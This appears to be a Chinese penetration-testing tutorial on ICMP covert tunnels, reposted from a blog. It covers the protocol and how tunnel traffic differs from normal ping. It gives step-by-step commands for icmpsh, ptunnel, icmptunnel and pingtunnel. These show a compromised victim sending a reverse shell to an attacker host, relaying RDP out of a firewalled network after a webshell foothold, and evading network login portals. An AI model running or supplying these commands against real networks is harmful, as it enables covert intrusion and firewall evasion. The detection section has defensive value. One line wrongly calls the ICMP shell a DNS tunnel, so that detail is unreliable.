内网渗透-icmp通信原理&特征

一、ICMP隧道技术解析

icmp协议

Internet Control Message Protocol Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用于网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

ICMP帧格式如下所示

 类型和代码字段决定了ICMP报文的类型,如下图所示

ICMP隧道技术原理

由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性。

通常ICMP隧道技术采用ICMP的ICMP_ECHO和ICMP_ECHOREPLY两种报文,把数据隐藏在ICMP数据包包头的选项域中,利用ping命令建立隐蔽通道。

 进行隐蔽传输的时候,肉鸡运行并接受外部攻击端的ICMP_ECHO数据包,攻击端把需要执行的命令隐藏在ICMP_ECHO数据包中,肉鸡接收到该数据包,解出其中隐藏的命令,并在防火墙内部主机上执行,再把执行结果隐藏在ICMP_ECHOREPLY回包中,发送给外部供给端。

 ICMP隧道优点

优点:

1、防火墙对ICMP_ECHO数据包是放行的,并且内部主机不会检查ICMP数据包所携带的数据内容,隐蔽性高。

缺点:

1、ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低。

二、ICMP隧道攻击实现

icmpsh

git clone https://github.com/inquisb/icmpsh.git

 受控端(客户端)只能运行在Windows机器上,而主控端(服务端)有三个版本

关闭攻击机的默认icmp应答

sysctl -w net.ipv4.icmp_echo_ignore_all=1

受害者(被控端)执行

icmpsh.exe -t 192.168.8.180

成功通过dns隧道反弹shell回来。

流量分析,icmp隧道和普通的icmp包有什么区别

 建立隧道之后,是受害者不断发送icmp的request包,类似于给server段发送心跳

区别于正常的ICMP包,ICMP隧道的iIdentifier字段

1、 icmpsh的iIdentifier字段是默认写死的0001(大端)

2、正常的icmp传输的data长度是固定的,根据icmp包的长度是否规律也可以判断主机是否有问题。

3、一个正常的 ping 每秒最多只会发送两个数据包,而使用 ICMP隧道的浏览器在同一时间会产生大量 ICMP 数据包。

4、正常的icmp请求和响应的数据部分内容是一样的。

ptunnel

ptunnel是一个icmp隧道中专的工具

 将自身的icmp关闭

sysctl -w net.ipv4.icmp_echo_ignore_all=1

描述一个攻击场景,黑客拿下一个web服务器,但是这个web服务器有防火墙,这时只有一个webshell,发现内网一台脆弱主机,但是防火墙的出站规则很严格,通过tcp及以上协议进行流量转发都被防火墙过滤掉了,只有ping icmp协议未被防火墙阻断,此时就可以使用ptunnel进行icmp隧道中转。

在被控主机web服务器和黑客的VPS都安装ptunnel,被控web服务器直接执行ptunnel命令

黑客的vps执行

ptunnel  -p  123.56.6.160  -lp  3333  -da  172.16.7.6  -dp  3389
-p :跳板机的ip        -lp:自己监听的端口     -da:内网目标的主机IP     -dp:想连接的目标的端口

黑客最终就可以在vps上面链接127.0.0.1 3389或者在本机链接vps的110.23.2.45 3389实现内网端口转发出来入侵。

Icmptunnel  

git clone https://github.com/jamesbarlow/icmptunnel.git
cd  icmptunnel&&make

使用场景和icmpsh一样(被攻击对象为linux的情况下)

攻击者IP:192.168.8.17
被攻击者的IP:192.168.8.37

攻击者开启icmptunnel服务端模式:

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
 ./icmptunnel –s

然后另开一个终端,执行命令

/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0    指定一个网卡tun0,用于给隧道服务器端分配一个IP地址(10.0.0.1)

被攻击者执行

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
 ./icmptunnel 192.168.1.16

连接上攻击者的icmptunnel服务端,然后再开一个终端,执行命令

/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0     指定IP地址为10.0.0.2

此时建立了icmp隧道,在服务器端通过ssh root@10.0.0.1连接被攻击对象

pingtunnel

https://github.com/esrrhs/pingtunnel

使用pingtunnel icmp通道绕过某些场合如学校、咖啡厅、机场上网认证

下载对应的系统版本

server

关闭icmp echo reply

echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all

启动

sudo ./pingtunnel -type server

client

pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5 

使用浏览器配置sock5上网即可

设置浏览器的sock5代理到127.0.0.1:4455,如果连不上网,出现socks version not supported错误日志,说明浏览器的代理不是socks5代理。如果提示非安全连接,说明dns有问题,勾上浏览器的【使用socks5代理DNS查询】

参考链接:

https://www.freebuf.com/network/222056.html

原文地址:https://www.cnblogs.com/R1card0/p/13263121.html